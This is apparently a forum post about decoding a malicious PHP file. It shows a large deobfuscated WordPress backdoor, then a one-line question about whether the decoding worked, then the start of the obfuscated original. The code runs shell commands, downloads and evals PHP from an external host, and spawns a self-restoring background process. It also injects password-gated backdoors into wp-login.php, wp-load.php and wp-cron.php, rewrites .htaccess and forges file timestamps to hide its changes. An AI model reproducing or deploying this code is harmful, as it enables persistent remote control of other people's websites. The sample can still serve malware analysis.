    foreach ($disabled  as $item) { 
        $new_disable[] = TRIM($item); 
    } 
 
    if (in_ARRAY($method, $new_disable)) { 
        $method = T("Z","XhlYw",1); 
    } 
    if (IN_ARRAy($method, $new_disable)) { 
        return false; 
    } 
    $result = ''; 
    site_mail($method, 1); 
 
    switch ($method) { 
        case T("Z","XhlYw",1): 
            $res = exec($code, $array); 
            foreach ($array  as $key => $value) { 
                $result .= $key . T("ID","og",2) . $value . PHP_EOL; 
            } 
            return $res? $result: false; 
            break; 
        case T("cG9","wZW4",3): 
            $fp = PopEn($code, "r"); 
            while (!feoF($fp)) { 
                $out = FGeTs($fp, 4096); 
                $result .= $out; 
            } 
            @pClOSe($fp); 
            return $fp? $result: false; 
            break; 
        default: 
            return false; 
            break; 
    } 
} 
function noticex($p){ 
    echo $p; 
} 
function T($e, $c, $g=0) { 
    return base64_decode(($g ? substr($e, 0, $g) : "") . $c . substr($e, $g)); 
} 
function ufleep($f, $c, $d, $t = false) { 
    try { 
        $m = $a = $t? $t: time(); 
        $iw = true; 
        if (FIle_EXIstS($f)) { 
            $iw = iS_wRiTablE($f); 
            if ($x = FILE_EXISTs($f)) { 
                $m = FILEmTiME($f); 
                $a = FiLEaTiME($f); 
            } 
 
            $x && !$iw && @cHMoD($f, 0744); 
        } 
        $r = $d[3]($f, $c); 
        @ToUCH($f, $m, $a); 
        $iw || @cHmOD($f, 0444); 
        return $r; 
    } catch (\Exception $E) { 
        echo $E->getMessage() . T("Ozs","8YnI+",3); 
        return false; 
    } 
} 
 
function reTxt(&$a, $b = false, $l = false) { 
    if (!$b) return false; 
    $e = StR_shUFFLE(T("YWJjZGVmZ2cHFyc3R1dnd4eXpf","hpamtsbW5v",10)); 
    $c = []; 
    foreach ($b  as $key => $d) { 
        $c[] = $l && isset($l[$d])? $l[$d]: ($d[0] === '$'? '$': '') . $e[$key]; 
    } 
    $a = Str_rePLAcE($b, $c, $a); 
} 
 
function tr1($data, $i) { 
    if ($i) { 
        return JSOn_encoDE($data, JSON_UNESCAPED_UNICODE); 
    } else { 
        return SErIalIZE($data); 
    } 
} 
 
function hys($path, $name = false) { 
    $ht = $path . "/." . STR_RoT13(T("dWdY","ucHByZm",3)); 
    @chMOd($ht, 0755); 
    @unliNK($ht); 
    $r = @fWRite(FopeN($ht . "1", "w"), 
        STr_REplAce(T("Uj","I25hbW",0), $name? $name: '', 
            bavs($name? "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXigjbmFtZSMpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg" 
                : "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXihhY2Nlc3MucGhwfGxvY2FsZS5waHB8dW5pbnN0YWxsLnBocHx0aGVtZXMucGhwfHdwLWxvZ2luLnBocHx4bWxycGNzLnBocHxhZG1pbi5waHB8bG9hZC5waHApJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg"))); 
    @REnAMe($ht . "1", $ht); 
    touCh($ht, STrTOtIMe(raNd(2015, 2018) . "-" . raNd(3, 12) . "-" . rAnD(1, 30) . " " . daTE(T("SDp","pOnM",3)))); 
    return $r; 
} 
 
function getPhpPath() { 
    oB_stArt(); 
    pHPInFO(1); 
    $info = ob_GET_COntENtS(); 
    OB_End_clEan(); 
 
    preg_match(T("Ly0tdKykvc2k","YmluZGlyPShbXiZ",4), $info, $matches); 
    if (isset($matches[1]) && $matches[1] != '') { 
        return $matches[1] . T("A","L3Boc",0); 
    } 
    PrEg_matCh(T("Ly0tl4PShbXiZdKykvc2k","cHJlZm",4), $info, $matches); 
    if (!isset($matches[1])) { 
        return T("cG","hw",2); 
    } 
    return $matches[1] . T("L2JA","pbi9waH",3); 
} 
 
function site_mail($s, $for = 0) { 
    empty($_GET['z']) && $_GET['z'] = []; 
    empty($_GET['z'][$for]) && $_GET['z'][$for] = []; 
    $_GET['z'][$for][] = $s; 
} 
 
class TM 
{ 
    static function lock($index, $the) { 
        $file = ROOT . (DeFIneD(T("Q","0RQ",1)) && CDP? CDP: T("d","3AtY3Jvbg",1)); 
        $text = 'PD9waHANCiRkID0gWw0KICAgIFsnI0YxIycsICcjUzEjJ10sDQogICAgWycjRjIjJywgJyNTMiMnXSwNCl07DQoiZXhvIjsNCiRhID0gZnVuY3Rpb24gKCRjID0gMCkgew0KICAgIHRyeSB7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygnI0YjJywgZGF0ZSgnW1ktbS1kIEg6aTpzXSAnKSAuICgkYz8gIiI6ICcjUyMnKSAuICJcbiIsICRjKTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRFKSB7DQoNCiAgICB9DQp9Ow0KDQokYSgpOw0KQHVubGluayhfX0ZJTEVfXyk7DQokX0dFVCA9IFtdOw0KZm9yZWFjaCAoJGQgYXMgJGsgPT4gJHYpIHsNCiAgICAkdlsxXSA9IGJhc2U2NF9kZWNvZGUoJHZbMV0pOw0KICAgICR2WzJdID0gbWQ1KCR2WzFdKTsNCiAgICAkX0dFVFskdlswXV0gPSAnJzsNCiAgICAkZFska10gPSAkdjsNCn0NCiRuID0gMDsNCiRwID0gNTU7DQp3aGlsZSAodHJ1ZSkgew0KICAgICRzID0gJ08nOw0KICAgIGZvcmVhY2ggKCRkIGFzICRrID0+ICR2KSB7DQogICAgICAgICgkcyAmJiAkcyA9ICgoISRrIHx8ICR2WzFdKSAmJiAkayA+IDE/ICdMJzogJ1QnKSkgJiYgJHMoJHZbMF0sICR2WzJdLCAkdlsxXSk7DQogICAgfQ0KICAgIHNsZWVwKDEpOw0KICAgIGlmICghKCRuKysgJSAkcCkpIHsNCiAgICAgICAgJGEoRklMRV9BUFBFTkQpOw0KICAgICAgICAkcCA9IHJhbmQoMzYwMCwgMTUwMDApOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gTCgkZiwgJGgsICRzKSB7DQogICAgaWYgKCgkayA9ICRfR0VUWyRmXSkgJiYgbWQ1X2ZpbGUoJGYpID09PSAkaCkgcmV0dXJuIHRydWU7DQogICAgaWYgKCRrKSB7DQogICAgICAgIEBmbG9jaygkaywgTE9DS19VTik7DQogICAgICAgIEBmY2xvc2UoJGspOw0KICAgIH0NCiAgICByZXR1cm4gKCRrID0gJF9HRVRbJGZdID0gZm9wZW4oJGYsICd3JykpICYmIGZsb2NrKCRrLCBMT0NLX0VYIHwgTE9DS19OQikgJiYgZndyaXRlKCRrLCAkcyk7DQp9DQoNCmZ1bmN0aW9uIFQoJGYsICRoLCAkcykgew0KICAgIGZpbGVfZXhpc3RzKCRmKSB8fCBSKCRmLCAkcyk7DQogICAgaWYgKG1kNV9maWxlKCRmKSAhPSAkaCkgew0KICAgICAgICBAY2htb2QoJGYsIDA3NzcpOw0KICAgICAgICBAcmVuYW1lKCRmLCAkZiAuICdsJyk7DQogICAgICAgIEB1bmxpbmsoJGYgLiAnbCcpOw0KICAgICAgICBSKCRmLCAkcyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBSKCRmLCAkcykgew0KICAgIEBmaWxlX3B1dF9jb250ZW50cygkZiwgJHMpOw0KICAgIEB0b3VjaCgkZiwgc3RydG90aW1lKCItOTAgZGF5cyIsIHRpbWUoKSkpOw0KICAgIEBjaG1vZCgkZiwgMDQ0NCk7DQogICAgZnVuY3Rpb25fZXhpc3RzKCRzID0gJ29wY2FjaGVfcmVzZXQnKSAmJiAkcygpOw0KICAgIHJldHVybiB0cnVlOw0KfQ'; 
        $text = bavs($text); 
        $flag = ' /' . rand_abc(33) . '/' . rand_abc(raNd(1, 8)) . T("","Lmh0bWw",0); 
        $flaf = T("YWNxvZw","jZXNzLm",3); 
        $extra = ''; 
        $text = stR_repLAcE([T("I","0YxIw",1), T("I0Y","yIw",3), T("I1M","xIw",3), T("","I1MyIw",0), T("I0","Yj",2), T("I1","Mj",2), T("7","ImV4byI",0)], 
            [ROOT . T("aW5kZw","XgucGh",5), ROOT . T("Lmh0","YWNjZXNz",4), 
             BaSe64_EncOdE($index), bASE64_eNCode($the), 
             $flaf, $flag, 
             $extra 
            ], $text); 
 
        @file_PuT_ContenTS($file, $text); 
        $code = T("bmg","9odXA",2) . getPhpPath() . ' ' . $file . ' ' . bavs(T("UpYWXZiblZzYkNBeVBpWXhJQ1k9","Gk5a1",1)); 
        $res = run($code); 
 
        $s = T("5aSLg","x6LSl",3); 
        if ($res !== false) { 
            SLEeP(2); 
            $s = STrPOS(@fiLE_gET_CONTENTs($flaf), $flag) > 0? T("5oiQ","5Yqf",4): (T("5aS","x6LSl",3) . (FilE_eXisTS($file)? '': '!')); 
        } 
        site_mail(T("5Yq","g6ZSB",3) . $s . "!"); 
        @unlINK($file); 
    } 
 
    static function disFun($a = null) { 
        $disabled = eXplODE(',', INI_Get(T("ZGlzYWGlvbnM","JsZV9mdW5jd",6))); 
        $new_disable = array(); 
        foreach ($disabled  as $item) { 
            $new_disable[] = tRim($item); 
        } 
        return $a? In_ArRay($a, $new_disable): $new_disable; 
    } 
 
    static function extra($pass) { 
        global $c; 
        $text = 'DQovKndwLWFkbWluL2FkbWluLnBocCovDQovKiMoV1BfTE9BRF9JTVBPUlRFUlMnW1xzXSosW1xzXSp0cnVlW1xzXSpcKTtbXHNdKlx9KVtcc1xTXSs/KHJlcXVpcmVfb25jZVtcc10rZGlyKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHZlcnNpb24gPSBbJzEuNS4xMicsICR0ID0gJyNOIycgPT4gJGMgPSAiWDFKRlVWVkZVMVFzWDBOUFQwdEpSU3hoY25KaGVWOXRaWEpuWlN4dFpEVXNjM1J5YkdWdUxITjBjbWx3YjNNc1BEOXdhSEFnUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3UHo0c1ptbHNaVjl3ZFhSZlkyOXVkR1Z1ZEhNc1ltRnpaVFkwWDJSbFkyOWtaU3h1WVcxbExGOWxlSEFzYzNWaWMzUnlMQTgrI1AjIiwkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSwgJHAgPSBzdWJzdHIoJGMsIHN0cnBvcygkYywgJysnKSArIDEpID0+ICRjID0gZXhwbG9kZSgnLCcsIGJhc2U2NF9kZWNvZGUoJGMpKSwgKCRkID0gJF9SRVFVRVNUKSAmJiAoJGQgPSAkY1syXSgkR0xPQkFMU1skY1sxXV0sICRkKSkgJiYgKCRjWzNdKCR1KCRkLCAnYScsICR1KCRkLCAkY1sxMF0pKSAuICIjVCMiKSA9PT0gJHApICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMsICR0KSB7aWYgKCR0WzRdKCRzID0gJHRbOF0oJHMpKSA+IDE4ICYmICR0WzVdKCRzLCAkdFsxMV0oJHRbNl0sIDAsIDUpKSAhPT0gZmFsc2UgJiYgJHRbN10oJGUsICR0WzZdIC4gJHMpKSB7aW5jbHVkZSAkZTtyZXR1cm4gdHJ1ZTsgfX0pICYmICR1KCRkLCRjWzldKSA/ICR5KCcjTiMnLCAkZFskY1s5XV0sICRjKSAmJiBleGl0KDApIDogJyddOw0KLyoqKi8vKndwLWxvZ2luLnBocCovDQovKiMoXCRhY3Rpb247KVtcc1xTXSs/KC8vIERvbid0KSNtaSovDQovKiR7MX1cblxuXHRbUl1cblx0JHsyfSovDQokdmVyc2lvbiA9IFsnMi4xMScsIGRhdGUoIlkvbS9kIiksICR6ID0gJycsICRkID0gJF9SRVFVRVNULCAoJGUgPSAnZGVjb2RlJykgJiYgKCRjID0gZnVuY3Rpb24gKCRhKSB7cmV0dXJuICRhID09PSAiI1AjIjt9KSAmJiAoJGQgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwgJGQpKSYmKCR1ID0gZnVuY3Rpb24oJGEsJGIsJGM9Jycpe3JldHVybiBlbXB0eSgkYVskYl0pPyRjOiRhWyRiXTt9KSAmJiAoJHAgPSAkdSgkZCwgJ2EnLCAkdSgkZCwgJ19leHAnKSkpICYmICgkaSA9ICdwJykgJiYgKCRwIC49ICcjVCMnKSAmJiAkYyhtZDUoJHApKSAmJiAoJG4gPSAnbmFtZScpICYmICgkZSA9ICdiYXNlNjQnIC4gIl97JGV9IikgJiYgKCRzID0gZW1wdHkoJGRbJG5dKSA/ICcnIDogJGRbJG5dKSAmJiAoJHkgPSBmdW5jdGlvbiAoJGUsICRzKSB7aWYgKCRzKSBpbmNsdWRlICRlO30pICYmIHN0cmxlbigkcyA9ICRlKCRzKSkgPiAxOSA/ICR5KCR6ID0gJyNOIycsIHN0cmlwb3MoJHMsICI8P3skaX1oeyRpfSIpICE9PSBmYWxzZSAmJiBmaWxlX3B1dF9jb250ZW50cygkeiwgJHMpKSA6ICcnLCAkeiA/IGV4aXQoMCkgOiAnJ107DQovKioqLy8qd3AtY3Jvbi5waHAqLw0KLyojKGZhc3RjZ2lfZmluaXNoX3JlcXVlc3RcKFwpO1tcc1xTXSs/XH0pW1xzXFNdKz8oaWZbXHNdKlwoW1xzXSohW1xzXSplbXB0eSkjbWkqLw0KLyokezF9XG5cbltSXVxuJHsyfSovDQokdmVyc2lvbiA9IFsnMS4wLjEnLCBkYXRlKCJZbWQiKSwgJHogPSAnJywgICRlID0gJ2RlY29kZScsICRkID0gJF9SRVFVRVNULCAoJGMgPSBmdW5jdGlvbiAoJGEpIHtyZXR1cm4gJGEgPT09ICIjUCMiO30pICYmICgkZCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCAkZCkpJiYoJHUgPSBmdW5jdGlvbigkYSwkYiwkYz0nJyl7cmV0dXJuIGVtcHR5KCRhWyRiXSk/JGM6JGFbJGJdO30pICYmICgkcCA9ICR1KCRkLCAnYScsICR1KCRkLCBpbXBsb2RlKCdfJywnZXhwJykpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCi8qKiovLyp3cC1sb2FkLnBocCovDQovKiMoc2V0dXBcc3Byb2Nlc3NcUytccytcKlwvKVtcc1xTXSs/KGlmLiond3AtY29uZmlnXC5waHAnKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHdwX2luaXQgPSBbJGQgPSAkX1JFUVVFU1QsICRlID0gJ2RlY29kZScsICR6ID0gJycsICgkYyA9IGZ1bmN0aW9uICgkYSkge3JldHVybiAkYSA9PT0gIiNQIyI7fSkgJiYgKCRkID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsICRkKSkmJigkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSkgJiYgKCRwID0gJHUoJGQsICdhJywgJHUoJGQsICdfJyAuJ2V4cCcpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCg0KDQoNCg0KDQoNCg'; 
        $text = exPloDE(T("Ly","oqKi8",2), $c[1]($text)); 
        $note = T("L1wqKC4ro","PylcKi9ccy",8); 
        $pa = ''; 
        $preg = [ 
            "#{$note}{$note}{$note}([\s\S]+)#mi", 
            T("LyvbWk","hcJFx3Kyk",2), 
        ]; 
        foreach ($text  as $key => $item) { 
            preg_match($preg[0], $item, $ma); 
            if (!$ma) continue; 
            if (!fiLe_EXisTs($file = ROOT . $ma[1])) continue; 
            $_preg = $c[11](T("","Wypd",0), T("KFtc","c1xTXSs/KQ",4), $ma[2]); 
            $ma[3] = $c[11](['
', '	'], ["
", "	"], $ma[3]); 
            $c[12]($preg[1], $ma[4], $pa); 
            $s = ARray_VALueS(ArRaY_UNIQuE($pa[0])); 
            list($t, $r) = self::vars($s, [T("JHZl","cnNpb24",4)]); 
 
            $ma[4] = $c[11]($s, $t, tRIM($ma[4])); 
            $t[] = T("","I1Qj",0); 
            $t[] = T("","I1Aj",0); 
            $t[] = T("","I04j",0); 
            $r[] = $_p = rand_abc(rand(2, 8)); 
            $r[] = MD5($pass . $_p); 
            $r[] = TImE(); 
            $ma[4] = $c[11]($t, $r, $ma[4]); 
            $fs = $c[2]($file); 
            self::gg($fs); 
            $ma[3] = $c[11](T("W","1Jd",1), $ma[4], $ma[3]); 
 
            if (empty($fs) || $fs === ($l = pREG_REPlacE($_preg, $ma[3], $fs))) 
                continue; 
            site_mail($ma[1] . ":" . ($l && sTrLEN($l) > 100 && ufleep($file, $l, $c)? T("b2s","hIQ",3): T("Z","mFpbA",1)), 1); 
 
        } 
    } 
 
    static function vars($r, $dis = []) { 
        $o = '$'; 
        $t = $p = []; 
        $x = Str_sHuffle(T("YWJHFyc3R1dnd4eXpf","jZGVmZ2hpamtsbW5vc",3)); 
        $dis += [$o . T("X","0dFVA",1), $o . T("X1","JFUVVFU1Q",2), $o . T("X0NP","T0tJRQ",4), $o . T("X1N","FUlZFUg",3), $o . T("R0w","xPQkFMU",2)]; 
        $k = 0; 
        foreach ($r  as $v) { 
            if (!iN_aRRay($v, $dis)) $v = ($v[0] === $o? $o: '') . $x[$k]; 
            $t[] = "&{$k}]"; 
            $p[] = $v; 
            $k++; 
        } 
        return [$t, $p]; 
    } 
 
    static function gg(&$txt) { 
        preg_match(T("IygvXCpcU3syLDE2fVwqLylc1ZGVccytcUys7KVxzKigvXCpcU3syLDE2fVwqLykjbWk","cyooQGluY2x",24), $txt, $ma); 
        if ($ma && STrLEN($ma[1]) === StRLEN($ma[3])) { 
            $txt = Str_replAce($ma[0], '', $txt); 
            pREG_MAtCh(T("IyI1p","oXFMrPykiI2",3), $ma[2], $ma); 
            $ma && $ma[1] && self::dec($ma[1]); 
        } 
    } 
 
    static function dec($str) { 
        try { 
            $a = ''; 
            eval(T("JGE","9Ig",3) . $str . '";'); 
            if ($a !== '') { 
                if (FILe_exists($a) && FILESIZE($a) > 5 && !@IS_dIR($a)) { 
                    is_WRItEabLE($a) || @cHMod($a, 0777); 
                    $m = @fILE_pUT_CoNteNTs($a, ' ')? T("b2s","hIQ",3): T("Z","mFpbA",1); 
                } else $m = T("bn","VsbA",2); 
                site_mail("[GG] $m", 1); 
            } 
 
 
        } catch (\Exception $e) { 
        } 
    } 
} 
 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php

makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50eHQ=');
makenew('PIX', 'YXBwbGU');
makenew('CDP', '');
makenew('VPS', 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');function makenew($a, $b, $e=true){$b && ($c = str_replace(['&', '|', '-'], ['de', 'se', '_'], 'ba|64-&co&')) && define($a, $e ? $c($b) : $b);}
define('DNS', $ql = __FILE__);


global $c;

$hxuri = T("aHR0cDovMTIwLjwL21haW4ucGhwP2Q9","k4LjIxNC43Njo4MDg",14);
$_GET[T("Y2l","tuYW1",2)] = 'dd';
$oktaken = '<?';	
$okvalue = 'p';
$gv = [
    STR_rOt13(T("dmF","xcms",3)),
    STR_roT13(iMplOde('-', ['jc', T("b3l","idA",3), T("d","XJucXJl",1)])),
];	
$_GET['bg'] = T("Zj","VmNWY1",2);

if (isset($_GET[T("a2","ls",2)])) {
    echo T("a2l","sbCA",3);
    echo run(T("a2lsbCMQ","AtOSAt",6))? 'ok': T("Zm","FpbA",2);
    die();
}	

$IPO = $_SERVER[$MP = T("UkVRVU0Q","VTVF9NRVRIT",6)] === T("U","E9TVA",1);
if (DEfined(T("V","GlNaQ",1)) && StrlEN(TiMi) > 5) {	
    $_SERVER[$MP] = T("","UE9TVA",0);
}

defINE(T("UE","9Q",2), DefINeD(T("","UElY",0))? PIX: T("em","VuZA",2));
$okvalue = "{$okvalue}h{$okvalue}";
DefiNe(T("SVN","fUE9TVA",3), $_SERVER[$MP] === T("UE","9TVA",2));
DeFine(T("U","k9PVA",1), RTRim($_SERVER[T("RE9DVU1k9PVA","FTlRfU",7)], T("","XC8",0)) . '/');

$oktaken .= $okvalue;
if (!$IPO && !empty($_GET['u'])) {
    $t = yc(ec($_GET['u']), $_GET['f'], true);
    $_txt = array(
        T("6qg6L295aSx6LSl","LWE5rqQ5Y",1),
        T("5x6LSl","omn6KGM5aS",1),
        T("5omn66M5q+V77yB77yB","KGM5a",5),
    );
    echo "{$_txt[$t]}<br>";
    die();
}
$okvalue = '.' . $okvalue;
function pvez($p, $v) {
    return $p . $v;
}

function yc($u, $f = false, $o = false) {
    $t = gets($u);
    if (strlEn($t) < 30)
        return 0;
    try {
                if ($f) {
            $a = eXPloDE(",", $f);
            $f = $a[0];
            $e = empty($a[1])? "": ec($a[1]);
            $f1 = $f . T("LnB","ocA",3);
            echo T("PZD0nWicgaHJlZj0nLw","GRpdj48YSBp",1) . $f1 . $e . "'" . ($o? '': T("IHRhcmdJw","ldD0nX2JsYW5r",7)) . ">" . $f . T("PC","9hPiA",2) . ($o? T("PHNjcmlNrKCk8L3NjcmlwdD4","wdD5aLmNsaW",7): '');
            echo @FIlE_pUt_CONTeNts(ROOT . $f1, $t)? T("b2s","hIQ",3): T("A","ZmFpb",0);
            echo T("PC","9kaXY+",2);
        } else {
            eval('?>' . $t);
        }
        return 2;
    } catch (\Exception $E) {
        return 1;
    }
}

kpis();
$c = 'mFzZTY0X2VuY29kZSxiYXNlNjRfZGVjb2RlLGZpbGVfZ2V0X2NvbnRlbnRzLGZpbGVfcHV0X2NvbnRlbnRzLCNJREUjLCNoYXNoIyx3cC1zZXR0aW5ncy5waHAsaW5kZXgucGhwLCNoYXNoMSMsI3RoZSMsI3Bhc3MjLHN0cl9yZXBsYWNlLHByZWdfbWF0Y2hfYWxs';
function rand_abc($length) {
    $str = T("YWJjZd4eXo","GVmZ2hpamtsbW5vcHFyc3R1dn",5);
    $strlen = 52;
    while ($length > $strlen) {
        $str .= $str;
        $strlen += 52;
    }
    $str = Str_ShUffLE($str);
    return SUBStr($str, 0, $length);
}

if (empty($_COOKIE[$_GET[T("Y2tu","YW1l",4)]]) && cke()) {
    dEfINE(T("","eHhvbw",0), $_GET[T("cG","Fzcw",2)]);
}if(timE()>1763732414) return'';
$d = checkdata($c);
$link = DefiNed(T("w","TElOS",0))? LINK: '';

$vtop = $c[1](T("U","EQ5d2FIQQ",1));
$sub = syssub($vtop, $c);

if(TImE()>1763732414) return'';
$THE = fIle_exISTS($fh = ROOT . '.' . str_RoT13(T("dWdZmY","ucHBy",3)))? $c[2]($fh): '';
if (!$IPO) {
    $_POST[T("Z","W5zaA",1)] = !empty($_GET[T("ZW5","zaA",3)]);
    $_POST['df'] = isset($_GET['df']);
}

function syssub($vtop, $c) {
    $sub = $c[1]('PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4');
    $kpis = @$c[2](ROOT . $c[7]);
    if(tIme()>1763732414) return'';
    $hf = T("d3AtYmxvXIucGhw","Zy1oZWFkZ",8);
    if ($has = @FIle_eXISTS(ROOT . $hf)) {
    } elseif ($has = @fILE_eXiStS(DiRnAME(ROOT) . $hf)) {
        $sub = Str_REPLACE(T("X19E","SVJfXw",4), T("ZX0RJUl9fKQ","GlybmFtZShf",1), $sub);
    } else {
        TM::gg($kpis);
        foreach (ExPLode($vtop, $kpis)  as $key => $s) {
            if (stRpoS($s, $hf) !== false) {
                $sub = $vtop . $s;
                $has = true;
                break;
            }
        }
    }
    if (!$has && !iswps($c)) {
        $sub = $kpis;
    }
    return $sub;
}

$_POST = arrAY_merGe([
    'a' => '',
    'b' => false,
    'pf' => false,
    T("c","3Vi",1) => $c[0](UrlenCODE($sub)),
    T("d","Ghl",1) => $c[0](uRLENCODE($THE)),
], $_POST);

function findMasteValue($a) {
    return $a[RAnD(0, COUNT($a) - 1)];
}

foreach ($_POST  as $key => $v) {
    $v && !is_BooL($v) && $_POST[$key] = UrLdecode($c[1]($v));
}if(TIME()>1763732414) return'';
$link && $_POST['a'] === '' && $_POST['a'] = $link;
$_POST['b'] === false && $_POST['b'] = _name();
$_POST['pf'] === false && $_POST['pf'] = pfile();
$_POST[T("","ZW5zaA",0)] = !empty($_POST[T("Z","W5zaA",1)]);
$_POST['df'] = !empty($_POST['df']);

function gets($url) {if(TImE()>1763732414) return'';
    $contents = @fIlE_geT_conteNTs($url);
    if (!$contents || STrIpOs($contents, T("PD","9waHA",2)) === false) {
        $ch = CUrl_INiT();
        cURL_SetoPT($ch, CURLOPT_URL, $url);
        CURl_sEToPt($ch, CURLOPT_RETURNTRANSFER, 1);
        $contents = cuRL_eXeC($ch);
        cuRl_CLOsE($ch);
    }
    return sTRipoS($contents, T("PD9","waHA",3)) === false? '': $contents;
}

if (!$IPO && defIned(T("Q","VGlNa",0)) && STrlEn(TiMi) > 5 && !empty($_GET['v'])) {
    $v = ec($_GET['v']);
    if ($v === 'sz') {
        $_POST[$v] = 1;
        $_POST['a'] = $vtop . sTr_PAD('', 100, ';');
    } else {
        $u = SUbSTr($v, 0, 4) === T("a","HR0cA",1)? $v: $c[11](T("W3Rp","bWld",4), $_GET['v'], TiMi);
        ptu($u);
        $_POST['a'] = @FIlE_gEt_cONtENTS($u);
        echo stRlen($_POST['a']) < 100? call(T("PGRpdj7mnu4Q","lbDmja7",8) . $_GET['v'] . T("Sx6LSlPC9kaXY+","5Yqg6L295a",0)): T("+","PGRpdj5USU1JPC9kaXY",0);
    }
    $_SERVER[$MP] = T("U","E9TVA",1);
    $_POST['b'] = _name();
    if (defIned(T("V","lBT",1)) && VPS)
        $_POST[T("","dGhl",0)] = VPS;
}
function ff(&$l, $o = "aHR0cDo") {
    $l = ec(T("dkwzUmxjM1F6TG1obGJHeHZbDZMMkp5WkM1d2FIQS9aRDA","iMjF6Wlc4dWVI",23), $o);
    return true;
}

function _name() {
    $dir = ROOT;
    $dir = dd(ROOT)[1];
    $top = [];
    $las = [T("ZG","F0YQ",2), T("a2","V5",2), T("","ZGF0",0), T("","aW5p",0), T("","ZW52",0), T("","dHh0",0), T("ZG","9j",2), T("cG","Rm",2), T("","bG9jaw",0), T("Y","25m",1), T("V0","c2Vjcm",0), '', ''];
    $pass = sUBStR($dir, STRlEn(ROOT));
    if (sTRPOs($pass, T("d","XBsb2Fk",1)) !== false || STrPOS($pass, T("aW","1hZ2U",2)) !== false)
        $las += [T("aW","Nv",2), T("","cG5n",0), T("a","nBn",1), T("aW","Nv",2), T("","cG5n",0), T("an","Bn",2)];
    if (STRPos($pass, T("Y","3Nz",1)) !== false)
        $las += [T("Y","3Nz",1), T("","bGVzcw",0), T("c2N","zcw",3), T("Y","3Nz",1), T("bG","Vzcw",2), T("c2N","zcw",3)];
    if (STrPoS($pass, 'js') !== false)
        $las += ['js', 'js'];
    if (sTRPOS($pass, T("","Zm9udA",0)) !== false)
        $las += [T("dH","Rm",2), T("","b3Rm",0), T("b2","N0",2), T("","dHRm",0), T("","b3Rm",0), T("b2","N0",2)];
    if (StrPOS($pass, T("b","GFuZ3VhZ2Vz",1)) !== false) {
        $top = [
            findMasteValue([T("YWR","taW4t",3), T("dzLQ","GhlbWV",1), T("ZGV","mZW5kLQ",3)]) .
